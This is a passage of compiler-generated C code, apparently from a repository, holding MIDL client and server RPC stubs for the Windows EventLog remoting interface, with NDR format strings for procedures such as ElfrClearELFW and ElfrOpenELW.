/* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag244,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef eventlog_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag12,\n    &__midl_frag16,\n    &__midl_frag20,\n    &__midl_frag29,\n    &__midl_frag29,\n    &__midl_frag34,\n    &__midl_frag39,\n    &__midl_frag49,\n    &__midl_frag59,\n    &__midl_frag68,\n    &__midl_frag82,\n    &__midl_frag110,\n    &__midl_frag119,\n    &__midl_frag123,\n    &__midl_frag133,\n    &__midl_frag143,\n    &__midl_frag152,\n    &__midl_frag166,\n    &__midl_frag204,\n    &__midl_frag204,\n    &__midl_frag204,\n    &__midl_frag193,\n    &__midl_frag204,\n    &__midl_frag205,\n    &__midl_frag230,\n    &__midl_frag253\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC eventlog_StubDesc = \n    {\n    (void *)& eventlog___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &eventlog__MIDL_AutoBindHandle,\n    0,\n    BindingRoutines,\n    0,\n    0,\n    ms2Deven__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& eventlog_ProxyInfo,   /* proxy/server info */\n    0\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const MIDL_SYNTAX_INFO eventlog_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    ms2Deven__MIDL_ProcFormatString.Format,\n    eventlog_FormatStringOffsetTable,\n    ms2Deven__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    0,\n    0 ,\n    (unsigned short *) eventlog_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\nstatic const MIDL_STUBLESS_PROXY_INFO eventlog_ProxyInfo =\n    {\n    &eventlog_StubDesc,\n    ms2Deven__MIDL_ProcFormatString.Format,\n    eventlog_FormatStringOffsetTable,\n    (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0,\n    2,\n    (MIDL_SYNTAX_INFO*)eventlog_SyntaxInfo\n    \n    };\n\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-even_s.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-even.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n#include \"ms-even_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   683                               \n#define PROC_FORMAT_STRING_SIZE   1829                              \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Deven_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Deven_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Deven_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\nextern const ms2Deven_MIDL_TYPE_FORMAT_STRING ms2Deven__MIDL_TypeFormatString;\nextern const ms2Deven_MIDL_PROC_FORMAT_STRING ms2Deven__MIDL_ProcFormatString;\nextern const ms2Deven_MIDL_EXPR_FORMAT_STRING ms2Deven__MIDL_ExprFormatString;\n\n/* Standard interface: eventlog, ver. 0.0,\n   GUID={0x82273FDC,0xE32A,0x18C3,{0x3F,0x78,0x82,0x79,0x29,0xDC,0x23,0xEA}} */\n\n\nextern const MIDL_SERVER_INFO eventlog_ServerInfo;\n\nextern const RPC_DISPATCH_TABLE eventlog_v0_0_DispatchTable;\n\nstatic const RPC_SERVER_INTERFACE eventlog___RpcServerInterface =\n    {\n    sizeof(RPC_SERVER_INTERFACE),\n    {{0x82273FDC,0xE32A,0x18C3,{0x3F,0x78,0x82,0x79,0x29,0xDC,0x23,0xEA}},{0,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&eventlog_v0_0_DispatchTable,\n    0,\n    0,\n    0,\n    &eventlog_ServerInfo,\n    0x06000000\n    };\nRPC_IF_HANDLE eventlog_v0_0_s_ifspec = (RPC_IF_HANDLE)& eventlog___RpcServerInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC eventlog_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Deven_MIDL_PROC_FORMAT_STRING ms2Deven__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure ElfrClearELFW */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 10 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 16 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 18 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 20 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 22 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 30 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 32 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 34 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 36 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 38 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 40 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 42 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Return value */\n\n/* 44 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 46 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrBackupELFW */\n\n/* 50 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 52 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 58 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 60 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 62 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 64 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 66 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 68 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 70 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 72 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 78 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 80 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 82 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 86 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 88 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 90 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 92 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Return value */\n\n/* 94 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 96 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 98 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrCloseEL */\n\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 102 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 108 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 110 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 114 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 116 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 118 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 120 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 122 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 128 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 130 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 132 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 136 */\tNdrFcShort( 0x4a ),\t/* Type Offset=74 */\n\n\t/* Return value */\n\n/* 138 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 140 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrDeregisterEventSource */\n\n/* 144 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 146 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 150 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 152 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 154 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 158 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 160 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 162 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 164 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 166 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 170 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 176 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 180 */\tNdrFcShort( 0x4a ),\t/* Type Offset=74 */\n\n\t/* Return value */\n\n/* 182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 184 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrNumberOfRecords */\n\n/* 188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 196 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 198 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 202 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 204 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 206 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 208 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 210 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 220 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NumberOfRecords */\n\n/* 226 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 232 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 236 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOldestRecord */\n\n/* 238 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 244 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 246 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 248 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 250 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 252 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 254 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 256 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 258 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 260 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 264 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 270 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 272 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 274 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter OldestRecordNumber */\n\n/* 276 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 278 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 282 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 284 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 286 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrChangeNotify */\n\n/* 288 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 294 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 296 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 298 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 300 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 302 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 304 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 306 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 308 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 310 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 316 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 318 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 320 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 324 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientId */\n\n/* 326 */\tNdrFcShort( 0x8a ),\t/* Flags:  must free, in, by val, */\n/* 328 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 330 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter Event */\n\n/* 332 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 334 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 338 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 340 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenELW */\n\n/* 344 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 346 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 350 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 352 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 354 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 356 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 358 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 360 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 362 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 364 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 366 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 368 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 370 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 372 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 374 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 376 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 380 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter ModuleName */\n\n/* 382 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 384 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 386 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter RegModuleName */\n\n/* 388 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 390 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 392 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 394 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 396 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 400 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 402 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 404 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 406 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 408 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 410 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 412 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 414 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 416 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 